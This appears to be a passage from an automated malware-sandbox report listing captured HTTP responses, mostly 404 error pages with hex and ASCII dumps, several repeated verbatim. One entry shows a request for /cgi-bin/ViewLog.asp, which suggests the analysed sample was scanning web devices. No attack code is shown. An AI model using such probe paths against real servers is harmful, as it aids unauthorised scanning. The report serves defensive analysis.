Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sat, 02 Mar 2024 11:38:28 GMTServer: Apache/2.2.16 (Debian)Vary: Accept-EncodingContent-Encoding: gzipContent-Length: 243Keep-Alive: timeout=15, max=100Connection: Keep-AliveContent-Type: text/html; charset=iso-8859-1Data Raw: 1f 8b 08 00 00 00 00 00 00 03 4d 8f d1 4b c3 30 10 c6 df fb 57 9c 7b d2 87 e5 da 32 d4 87 10 d0 b5 c3 41 9d 65 66 82 8f e9 72 2e 81 d9 d4 24 73 f8 df 9b 76 08 72 70 f0 dd 7d bf e3 3b 7e 55 bd 2c e5 7b 5b c3 93 7c 6e a0 dd 3d 36 eb 25 cc e6 88 eb 5a ae 10 2b 59 5d 36 25 cb 11 eb cd 4c 64 dc c4 cf a3 e0 86 94 4e 22 da 78 24 b1 c8 17 b0 71 11 56 ee d4 6b 8e 97 61 c6 71 32 f1 ce e9 9f 91 2b c4 3f 4f 52 19 1f 84 34 04 9e be 4e 14 22 69 d8 6d 1b c0 fd c1 ce 3b db e3 9b a5 73 e3 0e 4c 85 01 ce 2a 40 9f e0 8f 11 06 d7 43 34 36 40 20 ff 4d 9e 71 1c c6 f3 3e 35 a5 b5 a7 10 c4 c3 a0 f6 86 b0 64 25 2b 6e e1 ba a2 ce aa fe 06 5e 27 00 54 84 a2 bc 63 79 aa 02 5a e7 23 dc e7 1c ff d8 94 7b 4a 9c 32 8e 9f 66 bf 9b 87 e7 22 24 01 00 00 Data Ascii: MK0W{2Aefr.$svrp};~U,{[\|n=6%Z+Y]6%LdN"x$qVkaq2+?OR4N"im;sL*@C46@ Mq>5d%+n^'TcyZ#{J2f"$
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sat, 02 Mar 2024 11:38:28 GMTServer: Apache/2.2.16 (Debian)Vary: Accept-EncodingContent-Encoding: gzipContent-Length: 243Keep-Alive: timeout=15, max=100Connection: Keep-AliveContent-Type: text/html; charset=iso-8859-1Data Raw: 1f 8b 08 00 00 00 00 00 00 03 4d 8f d1 4b c3 30 10 c6 df fb 57 9c 7b d2 87 e5 da 32 d4 87 10 d0 b5 c3 41 9d 65 66 82 8f e9 72 2e 81 d9 d4 24 73 f8 df 9b 76 08 72 70 f0 dd 7d bf e3 3b 7e 55 bd 2c e5 7b 5b c3 93 7c 6e a0 dd 3d 36 eb 25 cc e6 88 eb 5a ae 10 2b 59 5d 36 25 cb 11 eb cd 4c 64 dc c4 cf a3 e0 86 94 4e 22 da 78 24 b1 c8 17 b0 71 11 56 ee d4 6b 8e 97 61 c6 71 32 f1 ce e9 9f 91 2b c4 3f 4f 52 19 1f 84 34 04 9e be 4e 14 22 69 d8 6d 1b c0 fd c1 ce 3b db e3 9b a5 73 e3 0e 4c 85 01 ce 2a 40 9f e0 8f 11 06 d7 43 34 36 40 20 ff 4d 9e 71 1c c6 f3 3e 35 a5 b5 a7 10 c4 c3 a0 f6 86 b0 64 25 2b 6e e1 ba a2 ce aa fe 06 5e 27 00 54 84 a2 bc 63 79 aa 02 5a e7 23 dc e7 1c ff d8 94 7b 4a 9c 32 8e 9f 66 bf 9b 87 e7 22 24 01 00 00 Data Ascii: MK0W{2Aefr.$svrp};~U,{[\|n=6%Z+Y]6%LdN"x$qVkaq2+?OR4N"im;sL*@C46@ Mq>5d%+n^'TcyZ#{J2f"$
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sat, 02 Mar 2024 11:38:28 GMTServer: Apache/2.2.16 (Debian)Vary: Accept-EncodingContent-Encoding: gzipContent-Length: 243Keep-Alive: timeout=15, max=100Connection: Keep-AliveContent-Type: text/html; charset=iso-8859-1Data Raw: 1f 8b 08 00 00 00 00 00 00 03 4d 8f d1 4b c3 30 10 c6 df fb 57 9c 7b d2 87 e5 da 32 d4 87 10 d0 b5 c3 41 9d 65 66 82 8f e9 72 2e 81 d9 d4 24 73 f8 df 9b 76 08 72 70 f0 dd 7d bf e3 3b 7e 55 bd 2c e5 7b 5b c3 93 7c 6e a0 dd 3d 36 eb 25 cc e6 88 eb 5a ae 10 2b 59 5d 36 25 cb 11 eb cd 4c 64 dc c4 cf a3 e0 86 94 4e 22 da 78 24 b1 c8 17 b0 71 11 56 ee d4 6b 8e 97 61 c6 71 32 f1 ce e9 9f 91 2b c4 3f 4f 52 19 1f 84 34 04 9e be 4e 14 22 69 d8 6d 1b c0 fd c1 ce 3b db e3 9b a5 73 e3 0e 4c 85 01 ce 2a 40 9f e0 8f 11 06 d7 43 34 36 40 20 ff 4d 9e 71 1c c6 f3 3e 35 a5 b5 a7 10 c4 c3 a0 f6 86 b0 64 25 2b 6e e1 ba a2 ce aa fe 06 5e 27 00 54 84 a2 bc 63 79 aa 02 5a e7 23 dc e7 1c ff d8 94 7b 4a 9c 32 8e 9f 66 bf 9b 87 e7 22 24 01 00 00 Data Ascii: MK0W{2Aefr.$svrp};~U,{[\|n=6%Z+Y]6%LdN"x$qVkaq2+?OR4N"im;sL*@C46@ Mq>5d%+n^'TcyZ#{J2f"$
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sat, 02 Mar 2024 11:38:28 GMTServer: Apache/2.2.16 (Debian)Vary: Accept-EncodingContent-Encoding: gzipContent-Length: 243Keep-Alive: timeout=15, max=100Connection: Keep-AliveContent-Type: text/html; charset=iso-8859-1Data Raw: 1f 8b 08 00 00 00 00 00 00 03 4d 8f d1 4b c3 30 10 c6 df fb 57 9c 7b d2 87 e5 da 32 d4 87 10 d0 b5 c3 41 9d 65 66 82 8f e9 72 2e 81 d9 d4 24 73 f8 df 9b 76 08 72 70 f0 dd 7d bf e3 3b 7e 55 bd 2c e5 7b 5b c3 93 7c 6e a0 dd 3d 36 eb 25 cc e6 88 eb 5a ae 10 2b 59 5d 36 25 cb 11 eb cd 4c 64 dc c4 cf a3 e0 86 94 4e 22 da 78 24 b1 c8 17 b0 71 11 56 ee d4 6b 8e 97 61 c6 71 32 f1 ce e9 9f 91 2b c4 3f 4f 52 19 1f 84 34 04 9e be 4e 14 22 69 d8 6d 1b c0 fd c1 ce 3b db e3 9b a5 73 e3 0e 4c 85 01 ce 2a 40 9f e0 8f 11 06 d7 43 34 36 40 20 ff 4d 9e 71 1c c6 f3 3e 35 a5 b5 a7 10 c4 c3 a0 f6 86 b0 64 25 2b 6e e1 ba a2 ce aa fe 06 5e 27 00 54 84 a2 bc 63 79 aa 02 5a e7 23 dc e7 1c ff d8 94 7b 4a 9c 32 8e 9f 66 bf 9b 87 e7 22 24 01 00 00 Data Ascii: MK0W{2Aefr.$svrp};~U,{[\|n=6%Z+Y]6%LdN"x$qVkaq2+?OR4N"im;sL*@C46@ Mq>5d%+n^'TcyZ#{J2f"$
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sat, 02 Mar 2024 11:38:28 GMTServer: Apache/2.2.16 (Debian)Vary: Accept-EncodingContent-Encoding: gzipContent-Length: 243Keep-Alive: timeout=15, max=100Connection: Keep-AliveContent-Type: text/html; charset=iso-8859-1Data Raw: 1f 8b 08 00 00 00 00 00 00 03 4d 8f d1 4b c3 30 10 c6 df fb 57 9c 7b d2 87 e5 da 32 d4 87 10 d0 b5 c3 41 9d 65 66 82 8f e9 72 2e 81 d9 d4 24 73 f8 df 9b 76 08 72 70 f0 dd 7d bf e3 3b 7e 55 bd 2c e5 7b 5b c3 93 7c 6e a0 dd 3d 36 eb 25 cc e6 88 eb 5a ae 10 2b 59 5d 36 25 cb 11 eb cd 4c 64 dc c4 cf a3 e0 86 94 4e 22 da 78 24 b1 c8 17 b0 71 11 56 ee d4 6b 8e 97 61 c6 71 32 f1 ce e9 9f 91 2b c4 3f 4f 52 19 1f 84 34 04 9e be 4e 14 22 69 d8 6d 1b c0 fd c1 ce 3b db e3 9b a5 73 e3 0e 4c 85 01 ce 2a 40 9f e0 8f 11 06 d7 43 34 36 40 20 ff 4d 9e 71 1c c6 f3 3e 35 a5 b5 a7 10 c4 c3 a0 f6 86 b0 64 25 2b 6e e1 ba a2 ce aa fe 06 5e 27 00 54 84 a2 bc 63 79 aa 02 5a e7 23 dc e7 1c ff d8 94 7b 4a 9c 32 8e 9f 66 bf 9b 87 e7 22 24 01 00 00 Data Ascii: MK0W{2Aefr.$svrp};~U,{[\|n=6%Z+Y]6%LdN"x$qVkaq2+?OR4N"im;sL*@C46@ Mq>5d%+n^'TcyZ#{J2f"$
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: xhmmhttpsv130-20200310Date: Sat, 02 Mar 2024 19:38:34 GMTCache-Control: no-cache,no-storeContent-Type: text/html; charset=%sConnection: closeData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 20 54 72 61 6e 73 69 74 69 6f 6e 61 6c 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 6c 6f 6f 73 65 2e 64 74 64 22 3e 0a 0a 3c 68 74 6d 6c 3e 0a 0a 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 2f 68 65 61 64 3e 0a 0a 20 20 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 23 63 63 39 39 39 39 22 20 74 65 78 74 3d 22 23 30 30 30 30 30 30 22 20 6c 69 6e 6b 3d 22 23 32 30 32 30 66 66 22 20 76 6c 69 6e 6b 3d 22 23 34 30 34 30 63 63 22 3e 0a 0a 20 20 20 20 3c 68 34 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 34 3e 0a 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e 0a 20 20 20 20 3c 68 72 3e 0a 0a 20 20 20 20 3c 61 64 64 72 65 73 73 3e 3c 61 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 61 63 6d 65 2e 63 6f 6d 2f 73 6f 66 74 77 61 72 65 2f 6d 69 6e 69 5f 68 74 74 70 64 2f 22 3e 78 68 6d 6d 68 74 74 70 73 76 31 33 30 2d 32 30 32 30 30 33 31 30 3c 2f 61 3e 3c 2f 61 64 64 72 65 73 73 3e 0a 0a 20 20 3c 2f 62 6f 64 79 3e 0a 0a 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"><html> <head> <meta http-equiv="Content-type" content="text/html;charset=UTF-8"> <title>404 Not Found</title> </head> <body bgcolor="#cc9999" text="#000000" link="#2020ff" vlink="#4040cc"> <h4>404 Not Found</h4>File not found. <hr> <address><a href="http://www.acme.com/software/mini_httpd/">xhmmhttpsv130-20200310</a></address> </body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: xhmmhttpsv130-20200310Date: Sat, 02 Mar 2024 19:38:34 GMTCache-Control: no-cache,no-storeContent-Type: text/html; charset=%sConnection: closeData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 20 54 72 61 6e 73 69 74 69 6f 6e 61 6c 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 6c 6f 6f 73 65 2e 64 74 64 22 3e 0a 0a 3c 68 74 6d 6c 3e 0a 0a 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 2f 68 65 61 64 3e 0a 0a 20 20 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 23 63 63 39 39 39 39 22 20 74 65 78 74 3d 22 23 30 30 30 30 30 30 22 20 6c 69 6e 6b 3d 22 23 32 30 32 30 66 66 22 20 76 6c 69 6e 6b 3d 22 23 34 30 34 30 63 63 22 3e 0a 0a 20 20 20 20 3c 68 34 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 34 3e 0a 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e 0a 20 20 20 20 3c 68 72 3e 0a 0a 20 20 20 20 3c 61 64 64 72 65 73 73 3e 3c 61 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 61 63 6d 65 2e 63 6f 6d 2f 73 6f 66 74 77 61 72 65 2f 6d 69 6e 69 5f 68 74 74 70 64 2f 22 3e 78 68 6d 6d 68 74 74 70 73 76 31 33 30 2d 32 30 32 30 30 33 31 30 3c 2f 61 3e 3c 2f 61 64 64 72 65 73 73 3e 0a 0a 20 20 3c 2f 62 6f 64 79 3e 0a 0a 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"><html> <head> <meta http-equiv="Content-type" content="text/html;charset=UTF-8"> <title>404 Not Found</title> </head> <body bgcolor="#cc9999" text="#000000" link="#2020ff" vlink="#4040cc"> <h4>404 Not Found</h4>File not found. <hr> <address><a href="http://www.acme.com/software/mini_httpd/">xhmmhttpsv130-20200310</a></address> </body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.24.0Date: Sat, 02 Mar 2024 11:38:36 GMTContent-Type: text/htmlContent-Length: 153Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 34 2e 30 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.24.0</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sat, 02 Mar 2024 11:38:37 GMTServer: Apache/2.4.6 (CentOS) PHP/5.4.16Content-Length: 217Keep-Alive: timeout=5, max=100Connection: Keep-AliveContent-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 63 67 69 2d 62 69 6e 2f 56 69 65 77 4c 6f 67 2e 61 73 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a 48 54 54 50 2f 31 2e 31 20 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 0d 0a 44 61 74 65 3a 20 53 61 74 2c 20 30 32 20 4d 61 72 20 32 30 32 34 20 31 31 3a 33 38 3a 33 37 20 47 4d 54 0d 0a 53 65 72 76 65 72 3a 20 41 70 61 63 68 65 2f 32 2e 34 2e 36 20 28 43 65 6e 74 4f 53 29 20 50 48 50 2f 35 2e 34 2e 31 36 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 32 32 36 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 69 73 6f 2d 38 38 35 39 2d 31 0d 0a 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /cgi-bin/ViewLog.asp was not found on this server.</p></body></html>HTTP/1.1 400 Bad RequestDate: Sat, 02 Mar 2024 11:38:37 GMTServer: Apache/2.4.6 (CentOS) PHP/5.4.16Content-Length: 226Connection: closeContent-Type: text/html; charset=iso-8859-1<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Sat, 02 Mar 2024 11:38:37 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: keep-aliveVary: Accept-EncodingETag: W/"62c683ee-157"Content-Encoding: gzipData Raw: 66 37 0d 0a 1f 8b 08 00 00 00 00 00 00 03 65 50 bb 4e c4 30 10 ec f9 0a 63 89 d2 71 4e 74 79 5c 73 50 43 41 43 85 1c 67 13 5b b2 bd 96 bd 21 17 be 9e 73 c2 55 6c b3 33 a3 dd 19 69 ba c7 97 b7 cb c7 e7 fb 2b 33 e4 dd f9 a1 3b 16 bb 4d 67 a7 a4 3c b0 9c 74 cf 0d 51 cc 8d 94 da e1 32 ae 6a cb 22 93 22 ab 85 c6 40 10 a8 ca cf d5 92 05 a8 4c e2 54 29 af 7e 30 a8 35 57 1a bd 84 94 30 7d 45 35 83 f4 ca 96 73 15 34 88 11 0b 13 5e c5 68 c3 5c 95 60 ce f6 c8 01 d3 08 a9 e7 35 67 99 36 07 3d c7 6f 48 93 c3 b5 31 76 1c 21 b4 77 2e ae ff 94 ed ae 18 b0 b3 a1 e6 54 d7 4f ed 6a 47 32 07 8c 98 2d 59 0c 8d 1a 32 ba 85 a0 25 8c 4d 1d af ad 83 89 76 90 f6 c7 82 06 24 42 5f 20 67 87 5f cf 8b 0b 67 bb e3 1f 39 77 f2 e8 ea d6 9f dc 0b fc 05 66 f7 1e 64 57 01 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: f7ePN0cqNty\sPCACg[!sUl3i+3;Mg<tQ2j""@LT)~05W0}E5s4^h\`5g6=oH1v!w.TOjG2-Y2%Mv$B_ g_g9wfdW0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sat, 02 Mar 2024 13:41:09 GMTServer: webCache-Control: no-cacheContent-Length: 166Content-Type: text/htmlConnection: keep-aliveKeep-Alive: timeout=60, max=99Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 44 6f 63 75 6d 65 6e 74 20 45 72 72 6f 72 3a 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 3c 68 32 3e 41 63 63 65 73 73 20 45 72 72 6f 72 3a 20 34 30 34 20 2d 2d 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 70 3e 43 61 6e 27 74 20 6f 70 65 6e 20 55 52 4c 3c 2f 70 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <!DOCTYPE html><html><head><title>Document Error: Not Found</title></head><body><h2>Access Error: 404 -- Not Found</h2><p>Can't open URL</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Sat, 02 Mar 2024 11:38:38 GMTContent-Type: text/htmlContent-Length: 146Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 503 Service UnavailableContent-Type: text/html; charset=UTF-8Content-Length: 11709Connection: closeP3P: CP="CAO PSA OUR"Expires: Thu, 01 Jan 1970 00:00:00 GMTCache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0Pragma: no-cacheData Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 41 50 50 4c 49 43 41 54 49 4f 4e 20 42 4c 4f 43 4b 45 44 3c 2f 74 69 74 6c 65 3e 0a 3c 73 74 79 6c 65 3e 0a 23 63 7b 62 6f 72 64 65 72 3a 33 70 78 20 73 6f 6c 69 64 20 23 61 61 61 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 66 66 66 3b 6d 61 72 67 69 6e 3a 32 30 3b 70 61 64 64 69 6e 67 3a 32 30 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 54 61 68 6f 6d 61 2c 48 65 6c 76 65 74 69 63 61 2c 41 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 32 70 78 3b 7d 0a 68 31 2c 68 32 2c 68 33 2c 68 34 2c 68 35 2c 68 36 2c 68 37 2c 68 38 7b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 62 6f 6c 64 3b 7d 0a 68 32 2c 68 33 7b 66 6f 6e 74 2d 73 69 7a 65 3a 32 30 70 78 3b 7d 0a 68 31 7b 74 65 78 74 2d 61 6c 69 67 6e 3a 63 65 6e 74 65 72 3b 66 6f 6e 74 2d 73 69 7a 65 3a 32 32 70 78 3b 63 6f 6c 6f 72 3a 23 63 63 30 30 30 30 3b 7d 0a 68 32 7b 63 6f 6c 6f 72 3a 23 33 33 30 30 36 36 3b 7d 0a 68 33 7b 63 6f 6c 6f 72 3a 23 36 36 36 3b 7d 0a 68 34 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 36 70 78 3b 63 6f 6c 6f 72 3a 23 36 36 36 3b 7d 0a 68 35 7b 6d 61 72 67 69 6e 3a 32 30 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 6c 65 66 74 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 32 70 78 3b 63 6f 6c 6f 72 3a 23 36 36 36 3b 7d 0a 68 36 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 36 70 78 3b 63 6f 6c 6f 72 3a 23 63 63 30 30 30 30 3b 7d 0a 68 37 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 34 70 78 3b 63 6f 6c 6f 72 3a 23 33 33 30 30 36 36 3b 7d 0a 68 38 7b 74 65 78 74 2d 61 6c 69 67 6e 3a 63 65 6e 74 65 72 3b 66 6f 6e 74 2d 73 69 7a 65 3a 35 36 70 78 3b 63 6f 6c 6f 72 3a 23 33 33 30 30 36 36 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 62 6f 6c 64 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 75 6e 64 65 72 6c 69 6e 65 3b 7d 0a 62 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 36 70 78 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 62 6f 6c 64 3b 63 6f 6c 6f 72 3a 23 63 63 30 30 30 30 3b 7d 0a 3c 2f 73 74 79 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 23 65 37 65 38 65 39 22 3e 0a 3c 64 69 76 20 69 64 3d 22 63 22 3e 0a 3c 68 31 3e 0a 3c 69 6d 67 20 77 69 64 74 68 3d 22 35 30 30 22 20 73 72 63 3d 22 64 61 74 61 3a 69 6d 61 67 65 2f 6a 70 65 67 3b 62 61 73 65 36 34 2c 69 56 42 4f 52 77 30 4b 47 67 6f 41 41 41 41 4e 53 55 68 45 55 67 41 41 41 66 51 41 41 41 42 66 43 41 59 41 41 41 41 65 65 6a 55 54 41 41 41 57 6c 55 6c 45 51 56 52 34 58 75 31 64 43 66 53 33 78 52 52 2b 45 69 48 4b 6b 69 49 6c 61 61 4f 79 6c 45 4a 4b 53 65 67 6f 57 34 68 30 4f 4b 58 51 6b 65 78 4c 6c 70 41 74 74 4b 47 4f 49 78 57 79 5a 6b 39 6f 51 32 52 72 49 55 75 70 4a 45 4a 55 6f 74 4b 69 49 69 48 4f 55 2b 2b 63 4d 39 2f 30 4c 6a 4e 33 35 74 31 2b 33 33 50 50 2b 5a 39
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sat, 02 Mar 2024 13:41:11 GMTServer: webCache-Control: no-cacheContent-Length: 166Content-Type: text/htmlConnection: keep-aliveKeep-Alive: timeout=60, max=99Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 44 6f 63 75 6d 65 6e 74 20 45 72 72 6f 72 3a 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 3c 68 32 3e 41 63 63 65 73 73 20 45 72 72 6f 72 3a 20 34 30 34 20 2d 2d 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 70 3e 43 61 6e 27 74 20 6f 70 65 6e 20 55 52 4c 3c 2f 70 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <!DOCTYPE html><html><head><title>Document Error: Not Found</title></head><body><h2>Access Error: 404 -- Not Found</h2><p>Can't open URL</p></body></html>
